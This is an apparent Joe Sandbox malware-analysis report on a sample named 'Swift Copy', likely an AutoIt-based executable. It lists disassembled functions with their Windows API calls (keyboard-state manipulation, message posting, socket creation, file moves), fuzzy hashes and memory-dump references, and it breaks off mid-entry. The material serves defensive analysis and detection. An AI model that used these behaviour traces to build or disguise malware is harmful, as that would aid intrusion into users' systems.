SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00DE135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00DE13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00DE1430

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 41de89a6a50305afef3466e53ce6d4dbf18353d40d97a19551d2ee78f779d487
Instruction ID: fb41e5a6223ef13a90ecab7c62dea919d777be1bdc5fc303ffafa80a47b7982e
Opcode Fuzzy Hash: 41de89a6a50305afef3466e53ce6d4dbf18353d40d97a19551d2ee78f779d487
Instruction Fuzzy Hash: FB91E279A00248AFDB00EFA6C885BBE77B5FF45314F244029EA50E7291D774E945CBB0

Function 00D8948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: f3762a85812f57853bb1080cd3a03424452ab51c435c5c81895ee937592d5876
Instruction ID: 32ed678badc8811f17c257c17d85e92163e93d0d4146413927ca076f03e59c94
Opcode Fuzzy Hash: f3762a85812f57853bb1080cd3a03424452ab51c435c5c81895ee937592d5876
Instruction Fuzzy Hash: 35911571900219EFCB10DFA9C884AEEBBB8FF49320F188599E555B7251D375AA42CF70

Function 00DF3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DF396B
CharUpperBuffW.USER32(?,?), ref: 00DF3A7A
_wcslen.LIBCMT ref: 00DF3A8A
VariantClear.OLEAUT32(?), ref: 00DF3C1F

Part of subcall function 00DE0CDF: VariantInit.OLEAUT32(00000000), ref: 00DE0D1F
Part of subcall function 00DE0CDF: VariantCopy.OLEAUT32(?,?), ref: 00DE0D28
Part of subcall function 00DE0CDF: VariantClear.OLEAUT32(?), ref: 00DE0D34

Strings

Incorrect Parameter format, xrefs: 00DF39A6, 00DF3BA1
AUTOIT.ERROR, xrefs: 00DF3A80, 00DF3A85

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: b6f3525bf36f1ab70af061a136e2c815b6c8d0d9deb8606f607734a274a26377
Instruction ID: de8ea43b85244608e44c6652fbda800273e97ca4b445817e32d0c1e869e7069a
Opcode Fuzzy Hash: b6f3525bf36f1ab70af061a136e2c815b6c8d0d9deb8606f607734a274a26377
Instruction Fuzzy Hash: 699169756083059FC704EF28C49196AB7E4FF88314F15892EF98A9B351DB31EE45CBA2

Function 00DF4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00DD000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?,?,00DD035E), ref: 00DD002B
Part of subcall function 00DD000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?), ref: 00DD0046
Part of subcall function 00DD000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?), ref: 00DD0054
Part of subcall function 00DD000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?), ref: 00DD0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00DF4C51
_wcslen.LIBCMT ref: 00DF4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00DF4DCF
CoTaskMemFree.OLE32(?), ref: 00DF4DDA

Strings

NULL Pointer assignment, xrefs: 00DF4E23, 00DF4E52

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 59d7380f39ff9b3da707217bf4e529aef03406a4adbb29f1aec1de0449d55efa
Instruction ID: e8528cb21ab80507158c6ef8a217a8e7d67cd92f8aa8bb382e5dffcd60f895e9
Opcode Fuzzy Hash: 59d7380f39ff9b3da707217bf4e529aef03406a4adbb29f1aec1de0449d55efa
Instruction Fuzzy Hash: C791F571D0021DAFDF14DFA4C891AEEB7B8FF48314F11816AE919A7251EB309A458FB0

Function 00E020FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00E02183
GetMenuItemCount.USER32(00000000), ref: 00E021B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00E021DD
_wcslen.LIBCMT ref: 00E02213
GetMenuItemID.USER32(?,?), ref: 00E0224D
GetSubMenu.USER32(?,?), ref: 00E0225B

Part of subcall function 00DD3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00DD3A57
Part of subcall function 00DD3A3D: GetCurrentThreadId.KERNEL32 ref: 00DD3A5E
Part of subcall function 00DD3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00DD25B3), ref: 00DD3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E022E3

Part of subcall function 00DDE97B: Sleep.KERNEL32 ref: 00DDE9F3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 3088b948af75e87bc76662326e921fa6537c13767a3ee6fca22fee8684d025d7
Instruction ID: eaa34b890851000a847cce185857bd07e98abf031d49fdda1491c025571ee684
Opcode Fuzzy Hash: 3088b948af75e87bc76662326e921fa6537c13767a3ee6fca22fee8684d025d7
Instruction Fuzzy Hash: 1071A135A00205AFCB10EFA4C845AAEB7F5EF88314F10945DE916FB391D735ED818BA0

Function 00DDAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00DDAEF9
GetKeyboardState.USER32(?), ref: 00DDAF0E
SetKeyboardState.USER32(?), ref: 00DDAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00DDAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00DDAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00DDAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00DDB020

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2e2d39e64a357eac1ec63e3e6e8014ad5eff325b8a879db63452d850105312ff
Instruction ID: 8648241d11b4d7c10ba7c3f9a3aacd9945cd506f3e3c93e6629acc857e64d216
Opcode Fuzzy Hash: 2e2d39e64a357eac1ec63e3e6e8014ad5eff325b8a879db63452d850105312ff
Instruction Fuzzy Hash: 1451E0A16046D17DFB3643388845BBBBEA99F06318F0C858BF1D9559C2C399ACC8D771

Function 00DDACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00DDAD19
GetKeyboardState.USER32(?), ref: 00DDAD2E
SetKeyboardState.USER32(?), ref: 00DDAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00DDADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00DDADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00DDAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00DDAE38

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 25a7caae09b63c7b6ae283e4659211910fed291a1ebe235fadbe46442f2e1f91
Instruction ID: 7303c175255fd97a745f3cccaa13961c6d3432e8f80318fb1f57e6fb2503a868
Opcode Fuzzy Hash: 25a7caae09b63c7b6ae283e4659211910fed291a1ebe235fadbe46442f2e1f91
Instruction Fuzzy Hash: 1D5104A16047D53DFB3283388C45B7ABFA99B46300F0CC58AF1D556AC2D295EC88E772

Function 00DA542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00DB3CD6,?,?,?,?,?,?,?,?,00DA5BA3,?,?,00DB3CD6,?,?), ref: 00DA5470
__fassign.LIBCMT ref: 00DA54EB
__fassign.LIBCMT ref: 00DA5506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00DB3CD6,00000005,00000000,00000000), ref: 00DA552C
WriteFile.KERNEL32(?,00DB3CD6,00000000,00DA5BA3,00000000,?,?,?,?,?,?,?,?,?,00DA5BA3,?), ref: 00DA554B
WriteFile.KERNEL32(?,?,00000001,00DA5BA3,00000000,?,?,?,?,?,?,?,?,?,00DA5BA3,?), ref: 00DA5584

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: d3cb20b381c203f283ef61a5276a04a53a10cbdbd78700fe064c0c4d39a7b481
Instruction ID: d3c5b2cf92df5acf89b4e2f1ab15caa632424531833e0984c9a6d0af2a1321ca
Opcode Fuzzy Hash: d3cb20b381c203f283ef61a5276a04a53a10cbdbd78700fe064c0c4d39a7b481
Instruction Fuzzy Hash: 2651B170E006499FDB10CFA9E845AEEBBF9EF0A300F14416AF955E7295D730DA45CB60

Function 00D92D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D92D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00D92D53
_ValidateLocalCookies.LIBCMT ref: 00D92DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00D92E0C
_ValidateLocalCookies.LIBCMT ref: 00D92E61

Strings

csm, xrefs: 00D92DF6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8164f4979820447c13f78f765578bf05d15e5e67f89df57534781dd0e25d6771
Instruction ID: e4e072498c4f67f4af0485ae6ee9b5a046c878a4217837fd54257358921a3985
Opcode Fuzzy Hash: 8164f4979820447c13f78f765578bf05d15e5e67f89df57534781dd0e25d6771
Instruction Fuzzy Hash: 7A418034A01209ABCF14DF68C885AAEBBB5FF44324F188155E814AB292D731EE45CBF0

Function 00DF10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00DF307A
Part of subcall function 00DF304E: _wcslen.LIBCMT ref: 00DF309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00DF1112
WSAGetLastError.WSOCK32 ref: 00DF1121
WSAGetLastError.WSOCK32 ref: 00DF11C9
closesocket.WSOCK32(00000000), ref: 00DF11F9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 29b12323d6af3854f32f3c3365ee6d906717199a9fa2bc69882316f5469c66bd
Instruction ID: a5ddcc3c301910ecf93028aad453ccf20a3c8ca84a350d17a2a078abf0768f00
Opcode Fuzzy Hash: 29b12323d6af3854f32f3c3365ee6d906717199a9fa2bc69882316f5469c66bd
Instruction Fuzzy Hash: D041F435600208EFDB109F24C884BB9B7E9EF45324F19C159FA49AB291D771EE85CBB1

Function 00DDCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DDDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DDCF22,?), ref: 00DDDDFD

Part of subcall function 00DDDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DDCF22,?), ref: 00DDDE16

lstrcmpiW.KERNEL32(?,?), ref: 00DDCF45
MoveFileW.KERNEL32(?,?), ref: 00DDCF7F
_wcslen.LIBCMT ref: 00DDD005
_wcslen.LIBCMT ref: 00DDD01B
SHFileOperationW.SHELL32(?), ref: 00DDD061

Strings

\*.*, xrefs: 00DDCFF3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 29965f0447db8769363b3cb48e236110bc0a805714f759f6d722223359687ed7
Instruction ID: 0826e6634df309fe17c42ddde51ae9c19e562163fa0a9f8d3491133a4675db43
Opcode Fuzzy Hash: 29965f0447db8769363b3cb48e236110bc0a805714f759f6d722223359687ed7
Instruction Fuzzy Hash: 0C4137719452195FDF12EFA4D981ADDB7B9EF48340F1400E7E549EB241EA34A688CB70

Function 00E02DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00E02E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 00E02E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 00E02E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00E02EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00E02EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 00E02EF1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00E02F0B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 1a60229d87ca944a9f43f1eb0ac29c6276dab344cfdc77d95596239151a3397c
Instruction ID: 46ff6692474d3c28108a8ac3a0aa1d78ae3a0f7b6fd6a65858ef093b29dc72e8
Opcode Fuzzy Hash: 1a60229d87ca944a9f43f1eb0ac29c6276dab344cfdc77d95596239151a3397c
Instruction Fuzzy Hash: CA3119346441419FDB22CF59DC88F6537E4EB8A754F1411A8FA04AB2F1CB72A886DB01

Function 00DD7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DD7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DD778F
SysAllocString.OLEAUT32(00000000), ref: 00DD7792
SysAllocString.OLEAUT32(?), ref: 00DD77B0
SysFreeString.OLEAUT32(?), ref: 00DD77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00DD77DE
SysAllocString.OLEAUT32(?), ref: 00DD77EC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: da3e2584f05c767df764252ceddb14e63da611069e3abe75708b7c0050231de2
Instruction ID: ea5f54cf8da737455daa375d7cf56fefbb67aa7f92e09486142ea066cb4bc39f
Opcode Fuzzy Hash: da3e2584f05c767df764252ceddb14e63da611069e3abe75708b7c0050231de2
Instruction Fuzzy Hash: D421B276604219BFDB10EFA9CC88CBB73ACFB093647148566FA14DB290E670DC8587B0

Function 00DD77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DD7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00DD7868
SysAllocString.OLEAUT32(00000000), ref: 00DD786B
SysAllocString.OLEAUT32 ref: 00DD788C
SysFreeString.OLEAUT32 ref: 00DD7895
StringFromGUID2.OLE32(?,?,00000028), ref: 00DD78AF
SysAllocString.OLEAUT32(?), ref: 00DD78BD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
